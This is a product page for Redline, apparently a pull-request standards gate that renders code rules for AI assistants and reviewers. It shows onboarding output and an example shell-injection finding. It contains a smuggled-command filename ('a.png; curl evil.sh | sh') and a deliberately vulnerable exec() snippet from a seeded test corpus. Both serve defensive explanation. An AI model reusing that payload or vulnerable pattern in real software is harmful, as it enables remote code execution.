AI writes the code.Redline holds the line.

Your team is merging more code than it is reading. Redline puts one versioned rule set in front of every diff — checked by the AI that wrote it, the reviewer, and the gate, all against the same list.

$ npx redlinegate@latest init

moelzanaty3/redline on GitHub

  • 376 rules with permanent ids
  • 18 stacks
  • GitHub & Azure DevOps
  • MIT
redline-gateBLOCKER

Redline/BLOCKER [javascript/shell-injection]:

A file uploaded as a.png; curl evil.sh | sh runs when the handler resizes it.

execFile('convert', [body.filename, '-resize', '100x100'])

posted on the pull requestseeded/javascript/seeded-violations.js

One repository, start to finish

Every command and every line of output below is a string the CLI actually prints — the file names are the ones it writes, the findings are the ones it reports. The rows are the menu after you answer it; each is a real list you pick from, shown expanded below. The one # line is ours, marking the gap between the two runs.

terminal — acme/checkout-service
$ npx redlinegate@latest init
Which standards apply here? · web-react
Where does this repository live? · GitHub
What runs your pull request checks? · GitHub Actions
Which assistants should read the standards? · copilot, agents, claude
Extra context to render beside the rules · Spec-driven development
What should Redline set up alongside its own checks? · none
What should Redline install? · gate, merge-policy, labels
Where should the merge gate live? · in the organisation
How hard should the check bite? · observe
Ready? · Apply

profile web-react
  write   .github/copilot-instructions.md
  write   AGENTS.md
  write   CLAUDE.md
  write   .github/workflows/redline.yml
  applied     labels  label "no-adr"
  applied     gate  wrote .github/pull_request_template.md
  applied     secret-scanning  secret scanning
  applied     push-protection  secret scanning push protection
  applied     dependency-alerts  dependabot alerts (vulnerability alerts)
  applied     merge-policy  branch ruleset
  applied     repo-property  repository property "redline=onboarded"
pull request: https://github.com/acme/checkout-service/pull/42

# the gate workflow has since run on PR #42
$ redline verify
ok    onboarded              profile web-react, standards v0.1.0
ok    gate-machinery         .github/workflows/redline.yml publishes redline-gate / gate
ok    security-floor         security floor enabled
ok    artifacts-current      rendered artifacts match standards v0.1.0

One pull request on redline/onboard. Never a push. Titled chore(redline): onboard to standards v0.1.0 and labelled redline-sync, for the repository's own team to review and merge. Four of the 13 files it writes are shown; it merges into files you already have rather than overwriting them. Every file, and how the merge works →

What goes wrong today — and what changes

AI writes a lot of your code now, and it has never read your team's rules.

A rule that cannot fire reports clean. Redline shipped core/type-checker-suppression as a BLOCKER to every onboarded repository. Its checker knew four suppression dialects; Redline ships rules for 18 stacks. In a Swift, Kotlin, C# or Go repository the rule was installed, was listed in the standard, ran on every pull request — and no line written in that repository's own language could trip it.

It was found by onboarding one repository by hand and watching the gate, not by any dashboard, because a control that never fires and a control with nothing to find produce the identical green tick. The fix and the corpus that now proves it is in the changelog. That is the failure Redline is built to make visible — including in itself.

TodayWith Redline
01

Nobody told the AI your rules

They live in a wiki, an onboarding doc, and one reviewer's memory. The AI has read none of it — so a person catches every miss by hand, one pull request at a time.

Written once, rendered into the files your AI tools already read. The AI writing the code works from the same list the reviewer does — .github/copilot-instructions.md, AGENTS.md, codex, CLAUDE.md, cursor, composed for the stacks this repository actually uses.

  • 18 stack rule sets
  • 5 formats rendered
  • standards v0.1.0
02

Every reviewer draws the line somewhere else

The same change passes with one reviewer and is blocked by the next. Nobody can tell which rules really matter.

One fixed meaning per level. BLOCKER — don't merge. HIGH — merge only if a reviewer says so out loud. SUGGESTION — take it or leave it. Every rule carries a permanent id, so a finding always names the exact rule behind it.

  • 3 severity levels
  • 376 rules, each with an id

This is what Redline produces

A rule is only worth anything at the moment it catches something. Here is one, on real code from the corpus Redline publishes to be scored against.

the diffseeded/javascript/seeded-violations.js
const { exec } = require('child_process');
 
async function handler(req, res) {
  const body = JSON.parse(req.rawBody);
  merge(cache, body);
 
  exec(`convert ${body.filename} -resize 100x100 out.png`, () => {});
the findingreview comment on the pull request

Redline/BLOCKER [javascript/shell-injection]:

body.filename is interpolated into a shell command, so a crafted filename runs arbitrary code. Use execFile('convert', [body.filename, '-resize', '100x100', 'out.png']).

Found by

Same rule id whichever tool found it. That's what makes it countable.

Every rule carries one of three376 rules, each with a permanent id
BLOCKER 144 must not mergeHIGH 161 merge is a deliberate trade-offSUGGESTION 71 author may dismiss

BLOCKER is what the standard obliges, not what your repository blocks on: the gate installs advisory — it comments, it stops nothing. Blocking is earned rung by rung on evidence, and given up without asking anyone. The enforcement ladder →

Where it sits in your day

Three places, and you already stand in all three.

  1. 01

    Write

    Your AI reads the same rules you do. redline init renders the standard into the 5 formats your tools already read, composed for the stacks this repository uses.

  2. 02

    Review

    redline review checks the change on your machine against only the rules that apply to the files you touched — before you push. The same standard runs as the gate on the pull request.

    $ redline review --staged
  3. 03

    Merge

    The gate reports redline-gate / gate on every pull request and is advisory until you promote it. One human approval is required either way.

Point it at a local model and no code leaves your machine.

redline review --engine api speaks the OpenAI-compatible dialect, so Ollama, LM Studio and vLLM all work, and a local endpoint needs no key. The model returns JSON against a published schema — the CLI writes the Redline/<SEVERITY> [rule-id]: line itself, so a model can never invent a severity or an id. How local review works →

Why this is different

Every finding is countable

Rule ids are permanent, so a comment is an aggregate row: redline metrics counts which rules were acted on, which were dismissed, and which nobody has ever fixed. A rule that only ever generates noise is named and cut on that evidence, not on argument. What gets measured →

Redline/BLOCKER [core/hardcoded-secrets]: … ↳ one row, keyed on that id, in every count

We publish what we're scored against

220 defects are seeded into a corpus in the open, each marked with the severity and the rule id it must be caught at. Anyone can run a reviewer over it and check the number, and whatever has been scored against it so far is on the scoreboard. The corpus →

// DO NOT MERGE — Redline validation seed.
// Every `SEED n [SEVERITY] (rule-id)` marker must be flagged at that severity or higher,
// citing that rule id. Score with scripts/score-seeds.mjs.
 

  // SEED 5 [BLOCKER] (javascript/shell-injection) shell command built by interpolating external input
  exec(`convert ${body.filename} -resize 100x100 out.png`, () => {});

We govern the diff. Nothing after it

Redline governs a change while it is still a diff. It does not build, deploy, promote or roll back anything, it has no opinion on cloud spend, and its data ends at merge — those are a delivery platform's job and are well served. It increasingly does not even produce findings itself: it governs the standard, normalises whoever found what, and measures whether anyone acted. Where the line is →

commit → diff → merge → deploy └───────────┘ redline build, deploy and rollback: not ours

It asks before it writes

redline init with no flags, at a terminal, walks these one at a time — detected answer preselected, every term explained beside the choice that uses it, and Dry run before Apply. In CI, in a pipe, or with any flag at all, it prompts for nothing. The run above is one repository's answers. Yours are recorded in .redline.json, explained inline in that file, and every one of them is reversible — re-run redline init with the opposite flag, or redline remove to take the whole thing back out.

Where it runs

detected

Detected from your git remote, and asked anyway — detection can be wrong, and it is one keystroke to overrule.

GitHubdetected
github.com or Enterprise Server

A branch ruleset requires the gate check, and a thin caller workflow references the org's reusable gate.

Azure DevOpsdetected
dev.azure.com or a legacy visualstudio.com remote

A registered pipeline definition plus a Build Validation policy. Azure Repos ignores YAML pr: triggers, so the policy is what queues the build.

What runs your checks

your call

Asked separately from the host, because the two come apart.

GitHub Actions--pipeline github-actions
the default on GitHub

A thin caller workflow referencing the organisation's reusable gate. Redline resolves that workflow before writing the caller, and refuses rather than commit one that cannot start.

Azure Pipelines--pipeline azure-pipelines
detected from an existing pull request pipeline

For a repository hosted on GitHub whose checks are Azure Pipelines. Writes a pipeline definition with a pr: trigger; the build result is the check GitHub reads.

What the AI is told

your call

Context sections rendered into the same artifacts as the rules.

Spec-driven development--no-speckit
on by default

Dropped automatically where the repository already runs Spec Kit — a separate tool with its own installer that Redline neither creates nor edits.

TM Forum--tmf
off by default

Resource naming, @type and @baseType, offset/limit paging, the TMF error body. For repositories that actually implement TMF interfaces.

What it installs

your call

Anything your repository already answers for itself can be deselected, and re-selected later.

The merge gate--skip gate
on by default

Skip it where the repository already has its own pipeline. Redline still renders the standards and still verifies them.

Code ownership--with review-ownership
off by default

Seeds CODEOWNERS. Off unless asked for, because requiring review from an owner that cannot be resolved blocks every pull request in the repository.

How hard it bites--rung observe
observe on a new repository

observe, warn, block-blocker, block-high. Promotion needs recorded evidence; stepping back down needs nothing at all.

Nothing here is guessed at silently. A capability Redline cannot apply is recorded as needing an administrator rather than reported as success, and a tool your repository already runs is named in the run's own output instead of being installed a second time.

Try it on one repository

npx redlinegate@latest init asks what your repository is, shows you the plan, and offers Dry run before Apply. Choose Apply and it opens a single pull request on redline/onboard — it never pushes to your default branch. The gate starts advisory: it comments, it doesn't block. Don't like it? Close the pull request. Nothing was changed. Backing it out →

$ npx redlinegate@latest init
  • No admin rights needed. An engineer without them still gets everything file-level. The capabilities the token cannot reach come back denied, are recorded in .redline.json, and redline verify reports partially onboarded until an administrator enables them — recorded, never silently skipped. That path, step by step →
  • Your code can stay on your machine. Run the review against a local model and no diff is sent anywhere.
  • About ten minutes. One command, one pull request, one review by your own team.

When not to use Redline

Cases where it will not pay for itself. Better found here than in month two.

  • One repository, and no AI writing code in it. Redline renders the standard into the files AI tools read, and measures an estate. You would be using neither.
  • You are not on GitHub or Azure DevOps. redline init reads your git remote and supports those two. GitLab and Bitbucket are refused.
  • A stack outside the 18. You get the core rules, plus whatever you write into this repository's own .redline/local.md and then maintain.
  • You want a blocking gate on day one. Redline installs advisory and makes blocking be earned on recorded evidence, which cannot be hurried.
  • You want governance past merge. Build, deploy, incidents, cloud spend: Redline stops at the diff, on purpose.

What to give the agent

Redline reviews the diff. It has no opinion on how the diff gets written — but that is the next question everyone asks, and the answer is public. Skills and agents from skills.sh, sorted onto the eight stages of delivery. None of it is ours; each one installs from its publisher.

Skills raise the floor on what gets written. The gate catches what still gets through. Neither replaces the other.

Ship at AI speed.
The line still holds.

$ npx redlinegate@latest init